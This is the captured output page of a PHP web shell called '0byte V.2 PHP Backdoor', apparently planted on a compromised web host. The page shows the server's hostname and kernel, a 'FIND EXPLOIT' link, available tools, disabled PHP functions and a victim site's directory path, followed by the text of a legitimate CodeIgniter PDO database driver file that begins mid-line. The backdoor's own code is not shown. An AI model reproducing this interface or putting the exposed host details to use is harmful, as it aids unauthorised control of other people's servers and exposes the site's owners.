0byte V.2
PHP Backdoor

Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/developer.vhtecindia.com/system/database/drivers/pdo/

dsn, $match) && count($match) === 2) { // If there is a minimum valid dsn string pattern found, we're done // This is for general PDO users, who tend to have a full DSN string. $this->subdriver = $match[1]; return; } // Legacy support for DSN specified in the hostname field elseif (preg_match('/([^:]+):/', $this->hostname, $match) && count($match) === 2) { $this->dsn = $this->hostname; $this->hostname = NULL; $this->subdriver = $match[1]; return; } elseif (in_array($this->subdriver, array('mssql', 'sybase'), TRUE)) { $this->subdriver = 'dblib'; } elseif ($this->subdriver === '4D') { $this->subdriver = '4d'; } elseif ( ! in_array($this->subdriver, array('4d', 'cubrid', 'dblib', 'firebird', 'ibm', 'informix', 'mysql', 'oci', 'odbc', 'pgsql', 'sqlite', 'sqlsrv'), TRUE)) { log_message('error', 'PDO: Invalid or non-existent subdriver'); if ($this->db_debug) { show_error('Invalid or non-existent PDO subdriver'); } } $this->dsn = NULL; } // -------------------------------------------------------------------- /** * Database connection * * @param bool $persistent * @return object */ public function db_connect($persistent = FALSE) { if ($persistent === TRUE) { $this->options[PDO::ATTR_PERSISTENT] = TRUE; } // From PHP8.0, default PDO::ATTR_ERRMODE is changed // from PDO::ERRMODE_SILENT to PDO::ERRMODE_EXCEPTION // as https://wiki.php.net/rfc/pdo_default_errmode if ( ! isset($this->options[PDO::ATTR_ERRMODE])) { $this->options[PDO::ATTR_ERRMODE] = PDO::ERRMODE_SILENT; } try { return new PDO($this->dsn, $this->username, $this->password, $this->options); } catch (PDOException $e) { if ($this->db_debug && empty($this->failover)) { $this->display_error($e->getMessage(), '', TRUE); } return FALSE; } } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } // Not all subdrivers support the getAttribute() method try { return $this->data_cache['version'] = $this->conn_id->getAttribute(PDO::ATTR_SERVER_VERSION); } catch (PDOException $e) { return parent::version(); } } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql SQL query * @return mixed */ protected function _execute($sql) { return $this->conn_id->query($sql); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { return $this->conn_id->beginTransaction(); } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { return $this->conn_id->commit(); } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { return $this->conn_id->rollBack(); } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { // Escape the string $str = $this->conn_id->quote($str); // If there are duplicated quotes, trim them away return ($str[0] === "'") ? substr($str, 1, -1) : $str; } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return is_object($this->result_id) ? $this->result_id->rowCount() : 0; } // -------------------------------------------------------------------- /** * Insert ID * * @param string $name * @return int */ public function insert_id($name = NULL) { return $this->conn_id->lastInsertId($name); } // -------------------------------------------------------------------- /** * Field data query * * Generates a platform-specific query so that the column data can be retrieved * * @param string $table * @return string */ protected function _field_data($table) { return 'SELECT TOP 1 * FROM '.$this->protect_identifiers($table); } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { $error = array('code' => '00000', 'message' => ''); $pdo_error = $this->conn_id->errorInfo(); if (empty($pdo_error[0])) { return $error; } $error['code'] = isset($pdo_error[1]) ? $pdo_error[0].'/'.$pdo_error[1] : $pdo_error[0]; if (isset($pdo_error[2])) { $error['message'] = $pdo_error[2]; } return $error; } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'TRUNCATE TABLE '.$table; } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { $this->result_id = FALSE; $this->conn_id = FALSE; } }

0byte V.2PHP Backdoor

0byte V.2
PHP Backdoor